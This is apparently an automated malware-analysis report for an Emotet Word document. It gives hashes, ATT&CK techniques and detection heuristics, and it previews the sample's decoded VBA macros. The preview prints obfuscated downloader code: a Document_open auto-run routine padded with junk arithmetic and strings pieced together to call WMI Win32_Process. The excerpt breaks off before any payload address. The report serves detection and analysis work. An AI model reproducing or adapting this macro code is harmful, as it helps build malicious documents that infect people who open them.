Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b4d6ea201bb1f71b…

MALICIOUS

Office (OLE)

171.8 KB Created: 2019-12-10 13:55:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 0e04ec0b6c8edd8addc41d1bd9840514 SHA-1: 11f5596ede84c3b14f925246778b3bad6ba0dd66 SHA-256: b4d6ea201bb1f71b6dec4ce34c6d8412b8c74735fffa739ed6d83180769ab538
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including a Document_Open auto-execution macro, which is a strong indicator of malicious intent. The ClamAV detection explicitly names this as Emotet, a known downloader family. The obfuscated VBA code within the macros suggests an attempt to hide its functionality, which is typical for malware aiming to download and execute further stages.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7443185-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7443185-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6800 bytes
SHA-256: 89e75ffb1522087f2bb44aed8f46073afab96b716fbcdec97319246ce149eec3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sfcxkzfd"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Xfxxpqtw, 0, 0, MSForms, TextBox"
Private Sub Document_open()
      If Tcsdohsu < Ebmdeyrnqjba Then
         Uxpfcdgef = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Kcnlwygrenmnv = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Ckysnbsjtemgc < Jclipghivge Then
         Vqhetlyhks = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Iqnuujwtkebhu = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
      If Bazlxlzx < Rgujxvfw Then
         Pltxopevcmr = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Mywflqkyja = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Ipokdtggkr
End Sub

Attribute VB_Name = "Hvkawfnc"
Attribute VB_Base = "0{B626D20F-E53F-498E-A0B0-193E735C35CB}{E18A1552-561D-450A-AC7C-2AB42EE7430C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Uavjqdwvtbur"
Function Mfjspnbhxael()
      If Oursoslgqlyqy < Ucrntibtlppjh Then
         Fiiihrpnix = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Lpeniummbtxm = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Kffngckddspnb = Sfcxkzfd.Xfxxpqtw
      If Cdsuwtkjquval < Twbrljjew Then
         Cfffsufxrct = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Wkujikjwekc = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Kvdyyxmtd = Kffngckddspnb + Hvkawfnc.Sutqtevom + Hvkawfnc.Bklsjdwvu + Hvkawfnc.Mgbomksm
      If Qdsjrpzt < Engzoyunvqcv Then
         Fgcbwmnryr = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Geauacgly = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Swfcwgfq = Kvdyyxmtd + Hvkawfnc.Azmzovwtrbnh + Hvkawfnc.Qmvbdqsdstfve
      If Wtnvyocoiik < Vswvlyglsst Then
         Ipbjwbqz = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Gbhtqzpfy = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Mfjspnbhxael = Pzcogdxcft + Swfcwgfq + Pzcogdxcft
      If Fdkssnymtg < Kumeiyjaospg Then
         Bzcuczplljv = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Hvotqgwmh = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
End Function
Function Ipokdtggkr()
      If Vbslvlfpjgm < Cxnbydhbo Then
         Kgxhdkcov = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(xUQE)
      BfCa54O = KTRo * RlRn7Xx / CetB632 + Uwub6
      ElseIf njT = DQQV Then
         Xyhstfwabfwgg = 1 - Sqr(rNQh0G03) * wWxj6h9 - CDate(nkcF6 - CSng(pbWY))
   End If
Dirnfqpzcwftb = E + "wi" + "n" + f + "mgmt" + g + "s:Win32_P" + n + "rocess"
      If Npvispkdxhaa < Lgrmigvjjklwn Then
         Wdxcsejmgxgq = 59 * CSng(81) / LjTE * Fix(ddGI1 * CStr(3)) / 4 * Sin(4) * 7 + CBool(x
... (truncated)

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